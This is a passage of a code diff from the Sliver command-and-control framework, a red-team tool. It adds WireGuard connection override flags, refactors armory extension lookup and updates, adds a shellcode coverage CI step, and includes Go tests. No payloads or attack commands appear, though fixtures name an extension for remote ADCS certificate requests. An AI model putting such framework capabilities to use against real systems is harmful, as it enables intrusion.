- name: Aggregate shellcode coverage
|
||||
id: aggregate
|
||||
continue-on-error: true
|
||||
run: >-
|
||||
go run -buildvcs=false -mod=vendor -trimpath ./test/e2e/shellcode-report
|
||||
-input ./shellcode-input
|
||||
-output ./shellcode-summary
|
||||
|
||||
- name: Publish shellcode coverage table
|
||||
id: publish_shellcode_coverage
|
||||
if: ${{ always() }}
|
||||
run: |
|
||||
report="shellcode-summary/shellcode-coverage.md"
|
||||
if [[ ! -s "${report}" ]]; then
|
||||
printf 'Shellcode coverage report is missing or empty: %s\n' "${report}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
delimiter="SHELLCODE_E2E_COVERAGE_EOF"
|
||||
if grep -Fxq "${delimiter}" "${report}"; then
|
||||
printf 'Shellcode coverage report contains the reserved output delimiter: %s\n' "${delimiter}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
{
|
||||
printf 'shellcode_coverage_markdown<<%s\n' "${delimiter}"
|
||||
cat "${report}"
|
||||
printf '%s\n' "${delimiter}"
|
||||
} >> "${GITHUB_OUTPUT}"
|
||||
|
||||
cat "${report}" >> "${GITHUB_STEP_SUMMARY}"
|
||||
|
||||
- name: Upload aggregate shellcode coverage
|
||||
if: ${{ always() }}
|
||||
uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: shellcode-e2e-coverage-summary
|
||||
path: shellcode-summary
|
||||
if-no-files-found: error
|
||||
overwrite: true
|
||||
retention-days: 30
|
||||
|
||||
- name: Fail on failed or not-run shellcode coverage
|
||||
if: ${{ always() && steps.aggregate.outcome != 'success' }}
|
||||
run: exit 1
|
||||
@@ -36,6 +36,7 @@ const (
|
||||
|
||||
// ClientWGConfig - Optional WireGuard wrapper configuration for multiplayer.
|
||||
type ClientWGConfig struct {
|
||||
Enabled bool `json:"enabled,omitempty"`
|
||||
ServerPubKey string `json:"server_pub_key"`
|
||||
ClientPrivateKey string `json:"client_private_key"`
|
||||
ClientPubKey string `json:"client_pub_key"`
|
||||
|
||||
@@ -0,0 +1,29 @@
|
||||
package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestClientWGConfigEnabledIsPositiveOptIn(t *testing.T) {
|
||||
legacyJSON := []byte(`{"wg":{"server_pub_key":"server-pub","client_private_key":"client-priv","client_ip":"100.64.0.2"}}`)
|
||||
legacy := &ClientConfig{}
|
||||
if err := json.Unmarshal(legacyJSON, legacy); err != nil {
|
||||
t.Fatalf("unmarshal legacy config: %v", err)
|
||||
}
|
||||
if legacy.WG == nil {
|
||||
t.Fatal("expected legacy WireGuard config")
|
||||
}
|
||||
if legacy.WG.Enabled {
|
||||
t.Fatal("expected an absent enabled marker to remain disabled")
|
||||
}
|
||||
|
||||
enabledJSON := []byte(`{"wg":{"enabled":true,"server_pub_key":"server-pub","client_private_key":"client-priv","client_ip":"100.64.0.2"}}`)
|
||||
enabled := &ClientConfig{}
|
||||
if err := json.Unmarshal(enabledJSON, enabled); err != nil {
|
||||
t.Fatalf("unmarshal enabled config: %v", err)
|
||||
}
|
||||
if enabled.WG == nil || !enabled.WG.Enabled {
|
||||
t.Fatal("expected enabled marker to opt in to WireGuard")
|
||||
}
|
||||
}
|
||||
+3
-1
@@ -52,7 +52,9 @@ func init() {
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "connect to multiplayer through the operator config's WireGuard wrapper")
|
||||
rootCmd.PersistentFlags().Bool(enableWGFlag, false, "force multiplayer connections through the operator config's WireGuard wrapper")
|
||||
rootCmd.PersistentFlags().Bool(disableWGFlag, false, "force multiplayer connections to use direct mTLS")
|
||||
rootCmd.MarkFlagsMutuallyExclusive(enableWGFlag, disableWGFlag)
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
|
||||
@@ -1,17 +1,20 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
enableWGFlag = "enable-wg"
|
||||
enableWGFlag = "enable-wg"
|
||||
disableWGFlag = "disable-wg"
|
||||
)
|
||||
|
||||
func applyMultiplayerConnectMode(cmd *cobra.Command) error {
|
||||
if cmd == nil {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectDirect)
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -19,10 +22,20 @@ func applyMultiplayerConnectMode(cmd *cobra.Command) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
disableWG, err := cmd.Flags().GetBool(disableWGFlag)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if cmd.Flags().Changed(enableWGFlag) && cmd.Flags().Changed(disableWGFlag) {
|
||||
return fmt.Errorf("--%s and --%s cannot be used together", enableWGFlag, disableWGFlag)
|
||||
}
|
||||
|
||||
mode := transport.MultiplayerConnectDirect
|
||||
if enableWG {
|
||||
mode := transport.MultiplayerConnectAuto
|
||||
switch {
|
||||
case enableWG:
|
||||
mode = transport.MultiplayerConnectEnableWG
|
||||
case disableWG:
|
||||
mode = transport.MultiplayerConnectDisableWG
|
||||
}
|
||||
transport.SetMultiplayerConnectMode(mode)
|
||||
return nil
|
||||
|
||||
@@ -0,0 +1,136 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestWireGuardOverrideFlagsDefaultToFalse(t *testing.T) {
|
||||
for _, name := range []string{enableWGFlag, disableWGFlag} {
|
||||
flag := rootCmd.PersistentFlags().Lookup(name)
|
||||
if flag == nil {
|
||||
t.Fatalf("expected --%s persistent flag", name)
|
||||
}
|
||||
if flag.DefValue != "false" {
|
||||
t.Fatalf("expected --%s to default to false, got %q", name, flag.DefValue)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeDefaultsToAuto(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
|
||||
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||
t.Fatalf("apply multiplayer mode: %v", err)
|
||||
}
|
||||
if !transport.MultiplayerConnectUsesWireGuard(enabledWGClientConfig()) {
|
||||
t.Fatal("expected automatic mode to honor an explicitly enabled WireGuard config")
|
||||
}
|
||||
if transport.MultiplayerConnectUsesWireGuard(legacyWGClientConfig()) {
|
||||
t.Fatal("expected automatic mode to ignore a legacy WireGuard config without the opt-in marker")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeEnableWGForcesLegacyConfig(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(enableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", enableWGFlag, err)
|
||||
}
|
||||
|
||||
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||
t.Fatalf("apply multiplayer mode: %v", err)
|
||||
}
|
||||
if !transport.MultiplayerConnectUsesWireGuard(legacyWGClientConfig()) {
|
||||
t.Fatal("expected --enable-wg to force a complete legacy config through WireGuard")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeDisableWGOverridesEnabledConfig(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(disableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", disableWGFlag, err)
|
||||
}
|
||||
|
||||
if err := applyMultiplayerConnectMode(cmd); err != nil {
|
||||
t.Fatalf("apply multiplayer mode: %v", err)
|
||||
}
|
||||
if transport.MultiplayerConnectUsesWireGuard(enabledWGClientConfig()) {
|
||||
t.Fatal("expected --disable-wg to force direct mTLS")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeRejectsConflictingOverrides(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(enableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", enableWGFlag, err)
|
||||
}
|
||||
if err := cmd.Flags().Set(disableWGFlag, "true"); err != nil {
|
||||
t.Fatalf("set --%s: %v", disableWGFlag, err)
|
||||
}
|
||||
|
||||
err := applyMultiplayerConnectMode(cmd)
|
||||
if err == nil {
|
||||
t.Fatal("expected conflicting WireGuard overrides to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "cannot be used together") {
|
||||
t.Fatalf("unexpected conflict error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMultiplayerConnectModeRejectsBothOverridesWhenExplicitlyFalse(t *testing.T) {
|
||||
resetMultiplayerConnectModeForTest(t)
|
||||
cmd := newTransportModeTestCommand()
|
||||
if err := cmd.Flags().Set(enableWGFlag, "false"); err != nil {
|
||||
t.Fatalf("set --%s: %v", enableWGFlag, err)
|
||||
}
|
||||
if err := cmd.Flags().Set(disableWGFlag, "false"); err != nil {
|
||||
t.Fatalf("set --%s: %v", disableWGFlag, err)
|
||||
}
|
||||
|
||||
err := applyMultiplayerConnectMode(cmd)
|
||||
if err == nil {
|
||||
t.Fatal("expected explicitly combining both WireGuard override flags to fail")
|
||||
}
|
||||
if !strings.Contains(err.Error(), "cannot be used together") {
|
||||
t.Fatalf("unexpected conflict error: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func newTransportModeTestCommand() *cobra.Command {
|
||||
cmd := &cobra.Command{}
|
||||
cmd.Flags().Bool(enableWGFlag, false, "")
|
||||
cmd.Flags().Bool(disableWGFlag, false, "")
|
||||
return cmd
|
||||
}
|
||||
|
||||
func resetMultiplayerConnectModeForTest(t *testing.T) {
|
||||
t.Helper()
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
t.Cleanup(func() {
|
||||
transport.SetMultiplayerConnectMode(transport.MultiplayerConnectAuto)
|
||||
})
|
||||
}
|
||||
|
||||
func enabledWGClientConfig() *assets.ClientConfig {
|
||||
config := legacyWGClientConfig()
|
||||
config.WG.Enabled = true
|
||||
return config
|
||||
}
|
||||
|
||||
func legacyWGClientConfig() *assets.ClientConfig {
|
||||
return &assets.ClientConfig{
|
||||
WG: &assets.ClientWGConfig{
|
||||
ServerPubKey: "server-pub",
|
||||
ClientPrivateKey: "client-priv",
|
||||
ClientIP: "100.64.0.2",
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -301,32 +301,44 @@ func getCommandsInCache(armoryPK string) []string {
|
||||
return commandNames
|
||||
}
|
||||
|
||||
func packageMatchesInstallName(cacheEntry pkgCacheEntry, name string) bool {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
return cacheEntry.Alias != nil && cacheEntry.Alias.CommandName == name
|
||||
}
|
||||
if cacheEntry.Extension == nil {
|
||||
return false
|
||||
}
|
||||
if cacheEntry.Pkg.CommandName == name || cacheEntry.Extension.PackageName == name {
|
||||
return true
|
||||
}
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
|
||||
packages := []*pkgCacheEntry{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
if cacheEntry.Alias.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
for _, command := range cacheEntry.Extension.ExtCommand {
|
||||
if command.CommandName == name {
|
||||
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
|
||||
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if cacheEntry.LastErr != nil || !packageMatchesInstallName(cacheEntry, name) {
|
||||
return true
|
||||
}
|
||||
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
|
||||
return true
|
||||
}
|
||||
|
||||
packageVersion := ""
|
||||
if cacheEntry.Pkg.IsAlias {
|
||||
packageVersion = cacheEntry.Alias.Version
|
||||
} else {
|
||||
packageVersion = cacheEntry.Extension.Version
|
||||
}
|
||||
if minimumVersion == "" || packageVersion >= minimumVersion {
|
||||
packages = append(packages, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
@@ -732,9 +744,7 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
|
||||
|
||||
con.Printf(console.Clearln + "\r") // Clear download message
|
||||
|
||||
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
|
||||
return nil
|
||||
return extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true)
|
||||
}
|
||||
|
||||
func writeArmoryTempFile(data []byte) (string, error) {
|
||||
|
||||
@@ -0,0 +1,218 @@
|
||||
package armory
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
)
|
||||
|
||||
func resetPackageCache(t *testing.T) {
|
||||
t.Helper()
|
||||
pkgCache.Range(func(key, _ any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
t.Cleanup(func() {
|
||||
pkgCache.Range(func(key, _ any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
func testExtensionCacheEntry() pkgCacheEntry {
|
||||
manifest := &extensions.ExtensionManifest{
|
||||
Name: "ADCS Request (Remote)",
|
||||
PackageName: "remote-adcs-package",
|
||||
Version: "v0.1.5",
|
||||
ArmoryName: "Default Armory",
|
||||
ArmoryPK: "armory-public-key",
|
||||
ExtCommand: []*extensions.ExtCommand{
|
||||
{CommandName: "remote-adcs-request"},
|
||||
{CommandName: "remote-adcs-request-on-behalf"},
|
||||
},
|
||||
}
|
||||
return pkgCacheEntry{
|
||||
ArmoryConfig: &assets.ArmoryConfig{PublicKey: "armory-public-key"},
|
||||
Pkg: ArmoryPackage{
|
||||
Name: "Remote ADCS package",
|
||||
CommandName: "remote-adcs-index",
|
||||
},
|
||||
Extension: manifest,
|
||||
ID: "remote-adcs-request-id",
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetPackageForCommandAcceptsStableExtensionIdentities(t *testing.T) {
|
||||
resetPackageCache(t)
|
||||
entry := testExtensionCacheEntry()
|
||||
pkgCache.Store(entry.ID, entry)
|
||||
|
||||
for _, name := range []string{
|
||||
"remote-adcs-index",
|
||||
"remote-adcs-request",
|
||||
"remote-adcs-request-on-behalf",
|
||||
"remote-adcs-package",
|
||||
} {
|
||||
t.Run(name, func(t *testing.T) {
|
||||
found, err := getPackageForCommand(name, "armory-public-key", "v0.1.5")
|
||||
if err != nil {
|
||||
t.Fatalf("lookup %q failed: %v", name, err)
|
||||
}
|
||||
if found.ID != entry.ID {
|
||||
t.Fatalf("lookup %q returned %q, want %q", name, found.ID, entry.ID)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
if _, err := getPackageForCommand("remote-adcs-package", "other-armory", "v0.1.5"); !errors.Is(err, ErrPackageNotFound) {
|
||||
t.Fatalf("wrong-armory lookup error = %v, want %v", err, ErrPackageNotFound)
|
||||
}
|
||||
if _, err := getPackageForCommand("remote-adcs-package", "armory-public-key", "v0.1.6"); !errors.Is(err, ErrPackageNotFound) {
|
||||
t.Fatalf("newer-version lookup error = %v, want %v", err, ErrPackageNotFound)
|
||||
}
|
||||
for _, name := range []string{"ADCS Request (Remote)", "Remote ADCS package", "unknown-package"} {
|
||||
if _, err := getPackageForCommand(name, "", ""); !errors.Is(err, ErrPackageNotFound) {
|
||||
t.Fatalf("unstable identity %q lookup error = %v, want %v", name, err, ErrPackageNotFound)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPackageMatchesInstallNameLeavesAliasesCommandOnly(t *testing.T) {
|
||||
entry := pkgCacheEntry{
|
||||
Pkg: ArmoryPackage{
|
||||
Name: "Human Alias Name",
|
||||
CommandName: "alias-command",
|
||||
IsAlias: true,
|
||||
},
|
||||
Alias: &alias.AliasManifest{CommandName: "alias-command"},
|
||||
}
|
||||
if packageMatchesInstallName(entry, "Human Alias Name") {
|
||||
t.Fatal("alias unexpectedly matched its display name")
|
||||
}
|
||||
if !packageMatchesInstallName(entry, "alias-command") {
|
||||
t.Fatal("alias did not match its command name")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionManifestsMatch(t *testing.T) {
|
||||
manifest := func(name, packageName string, commands ...string) *extensions.ExtensionManifest {
|
||||
extCommands := make([]*extensions.ExtCommand, 0, len(commands))
|
||||
for _, command := range commands {
|
||||
extCommands = append(extCommands, &extensions.ExtCommand{CommandName: command})
|
||||
}
|
||||
return &extensions.ExtensionManifest{Name: name, PackageName: packageName, ExtCommand: extCommands}
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
local *extensions.ExtensionManifest
|
||||
latest *extensions.ExtensionManifest
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "v2 package identity",
|
||||
local: manifest("Old Display Name", "stable-package", "old-command"),
|
||||
latest: manifest("New Display Name", "stable-package", "new-command"),
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "different v2 packages",
|
||||
local: manifest("Shared Display Name", "package-one", "shared-command"),
|
||||
latest: manifest("Shared Display Name", "package-two", "shared-command"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "v2 does not downgrade to legacy identity",
|
||||
local: manifest("Human Display Name", "stable-package", "shared-command"),
|
||||
latest: manifest("legacy-command", "", "shared-command"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "legacy command identity",
|
||||
local: manifest("legacy-command", "", "legacy-command"),
|
||||
latest: manifest("Human Display Name", "stable-package", "other-command", "legacy-command"),
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "display names are not identity",
|
||||
local: manifest("Shared Name", "", "old-command"),
|
||||
latest: manifest("Shared Name", "stable-package", "new-command"),
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "unrelated legacy package",
|
||||
local: manifest("Old Name", "", "old-command"),
|
||||
latest: manifest("New Name", "stable-package", "new-command"),
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
if got := extensionManifestsMatch(test.local, test.latest); got != test.want {
|
||||
t.Fatalf("extensionManifestsMatch() = %t, want %t", got, test.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestExtensionUpdateDisplayNameResolvesPackage(t *testing.T) {
|
||||
resetPackageCache(t)
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||
|
||||
installedManifest := []byte(`{
|
||||
"name":"ADCS Request (Remote)",
|
||||
"package_name":"remote-adcs-package",
|
||||
"version":"v0.1.3",
|
||||
"commands":[{
|
||||
"command_name":"remote-adcs-request",
|
||||
"help":"Request a certificate",
|
||||
"files":[{"os":"windows","arch":"amd64","path":"adcs_request.x64.o"}]
|
||||
}]
|
||||
}`)
|
||||
installDir := filepath.Join(assets.GetExtensionsDir(), "remote-adcs-request")
|
||||
if err := os.MkdirAll(installDir, 0o700); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(installDir, extensions.ManifestFileName), installedManifest, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
entry := testExtensionCacheEntry()
|
||||
pkgCache.Store(entry.ID, entry)
|
||||
otherEntry := testExtensionCacheEntry()
|
||||
otherEntry.ID = "other-armory-package-id"
|
||||
otherEntry.ArmoryConfig = &assets.ArmoryConfig{PublicKey: "other-armory"}
|
||||
otherManifest := *otherEntry.Extension
|
||||
otherManifest.Version = "v9.0.0"
|
||||
otherManifest.ArmoryName = "Other Armory"
|
||||
otherManifest.ArmoryPK = "other-armory"
|
||||
otherEntry.Extension = &otherManifest
|
||||
pkgCache.Store(otherEntry.ID, otherEntry)
|
||||
|
||||
updates := checkForExtensionUpdates("armory-public-key")
|
||||
versionInfo, ok := updates["ADCS Request (Remote)"]
|
||||
if !ok {
|
||||
t.Fatal("display-name update was not detected")
|
||||
}
|
||||
if versionInfo.OldVersion != "v0.1.3" || versionInfo.NewVersion != "v0.1.5" {
|
||||
t.Fatalf("unexpected versions: %#v", versionInfo)
|
||||
}
|
||||
if versionInfo.PackageID != entry.ID {
|
||||
t.Fatalf("update package ID = %q, want %q", versionInfo.PackageID, entry.ID)
|
||||
}
|
||||
|
||||
found := packageCacheLookupByID(versionInfo.PackageID)
|
||||
if found == nil {
|
||||
t.Fatal("detected update package is missing from the cache")
|
||||
}
|
||||
if found.ID != entry.ID {
|
||||
t.Fatalf("resolved package %q, want %q", found.ID, entry.ID)
|
||||
}
|
||||
}
|
||||
@@ -40,6 +40,7 @@ type VersionInformation struct {
|
||||
OldVersion string
|
||||
NewVersion string
|
||||
ArmoryName string
|
||||
PackageID string
|
||||
}
|
||||
|
||||
type PackageType uint
|
||||
@@ -124,9 +125,9 @@ func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
|
||||
updatedPackage := packageCacheLookupByID(extVersionInfo.PackageID)
|
||||
if updatedPackage == nil {
|
||||
con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, ErrPackageNotFound)
|
||||
continue
|
||||
}
|
||||
err = installExtensionPackage(updatedPackage, false, clientConfig, con)
|
||||
@@ -173,8 +174,21 @@ func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
|
||||
return results
|
||||
}
|
||||
|
||||
func extensionManifestsMatch(localManifest, latestManifest *extensions.ExtensionManifest) bool {
|
||||
if localManifest.PackageName != "" {
|
||||
return latestManifest.PackageName != "" && localManifest.PackageName == latestManifest.PackageName
|
||||
}
|
||||
for _, localCommand := range localManifest.ExtCommand {
|
||||
for _, latestCommand := range latestManifest.ExtCommand {
|
||||
if localCommand.CommandName == latestCommand.CommandName {
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
_, cachedExtensions := packageManifestsInCache()
|
||||
// Return a map of extension name to minimum version to install
|
||||
results := make(map[string]VersionInformation)
|
||||
for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
|
||||
@@ -186,7 +200,12 @@ func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, latestExt := range cachedExtensions {
|
||||
pkgCache.Range(func(_, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok || cacheEntry.LastErr != nil || cacheEntry.Pkg.IsAlias || cacheEntry.Extension == nil {
|
||||
return true
|
||||
}
|
||||
latestExt := cacheEntry.Extension
|
||||
/*
|
||||
We used to check if the version identifiers were different between the installed version and the
|
||||
version in the armory. This worked when we had one armory, but with multiple potential armories,
|
||||
@@ -194,16 +213,22 @@ func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
|
||||
so we will rely on the author of the package incrementing the version identifier somehow to determine
|
||||
if a package is newer.
|
||||
*/
|
||||
if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
|
||||
if extensionManifestsMatch(localManifest, latestExt) && latestExt.Version > localManifest.Version {
|
||||
if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
current, found := results[localManifest.Name]
|
||||
if !found || latestExt.Version > current.NewVersion ||
|
||||
(latestExt.Version == current.NewVersion && cacheEntry.ID < current.PackageID) {
|
||||
results[localManifest.Name] = VersionInformation{
|
||||
OldVersion: localManifest.Version,
|
||||
NewVersion: latestExt.Version,
|
||||
ArmoryName: latestExt.ArmoryName,
|
||||
PackageID: cacheEntry.ID,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
|
||||
@@ -1,10 +1,28 @@
|
||||
package extensions
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
/*
|
||||
@@ -115,6 +133,101 @@ const (
|
||||
}`
|
||||
)
|
||||
|
||||
type registerExtensionTestRPC struct {
|
||||
rpcpb.SliverRPCClient
|
||||
register func(context.Context, *sliverpb.RegisterExtensionReq, ...grpc.CallOption) (*sliverpb.RegisterExtension, error)
|
||||
}
|
||||
|
||||
func (f *registerExtensionTestRPC) RegisterExtension(ctx context.Context, req *sliverpb.RegisterExtensionReq, opts ...grpc.CallOption) (*sliverpb.RegisterExtension, error) {
|
||||
return f.register(ctx, req, opts...)
|
||||
}
|
||||
|
||||
func newExtensionTestConsole(t *testing.T, rpc rpcpb.SliverRPCClient, session *clientpb.Session, beacon *clientpb.Beacon) *console.SliverClient {
|
||||
t.Helper()
|
||||
|
||||
con := console.NewConsole(false)
|
||||
con.IsCLI = true
|
||||
con.Rpc = rpc
|
||||
con.ActiveTarget.Set(session, beacon)
|
||||
return con
|
||||
}
|
||||
|
||||
func TestRemoveExtensionByManifestNameOnlyDeletesManagedExtensions(t *testing.T) {
|
||||
clientRoot := t.TempDir()
|
||||
t.Setenv("SLIVER_CLIENT_ROOT_DIR", clientRoot)
|
||||
|
||||
originalManifests := loadedManifests
|
||||
originalExtensions := loadedExtensions
|
||||
t.Cleanup(func() {
|
||||
loadedManifests = originalManifests
|
||||
loadedExtensions = originalExtensions
|
||||
})
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
extPath string
|
||||
wantDeleted bool
|
||||
}{
|
||||
{
|
||||
name: "installed extension",
|
||||
extPath: filepath.Join(clientRoot, "extensions", "installed"),
|
||||
wantDeleted: true,
|
||||
},
|
||||
{
|
||||
name: "temporarily loaded extension",
|
||||
extPath: t.TempDir(),
|
||||
wantDeleted: false,
|
||||
},
|
||||
{
|
||||
name: "extensions directory sibling",
|
||||
extPath: filepath.Join(clientRoot, "extensions-backup"),
|
||||
wantDeleted: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, test := range tests {
|
||||
t.Run(test.name, func(t *testing.T) {
|
||||
if err := os.MkdirAll(test.extPath, 0o700); err != nil {
|
||||
t.Fatalf("create extension directory: %v", err)
|
||||
}
|
||||
markerPath := filepath.Join(test.extPath, "source-code.txt")
|
||||
if err := os.WriteFile(markerPath, []byte("keep me"), 0o600); err != nil {
|
||||
t.Fatalf("create marker file: %v", err)
|
||||
}
|
||||
|
||||
manifestName := "test-extension"
|
||||
commandName := "test-command"
|
||||
command := &ExtCommand{CommandName: commandName}
|
||||
loadedManifests = map[string]*ExtensionManifest{
|
||||
manifestName: {RootPath: test.extPath, ExtCommand: []*ExtCommand{command}},
|
||||
}
|
||||
loadedExtensions = map[string]*ExtCommand{commandName: command}
|
||||
|
||||
found, err := RemoveExtensionByManifestName(manifestName, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("remove extension: %v", err)
|
||||
}
|
||||
if !found {
|
||||
t.Fatal("expected extension manifest to be found")
|
||||
}
|
||||
if _, ok := loadedManifests[manifestName]; ok {
|
||||
t.Error("manifest was not unloaded")
|
||||
}
|
||||
if _, ok := loadedExtensions[commandName]; ok {
|
||||
t.Error("command was not unloaded")
|
||||
}
|
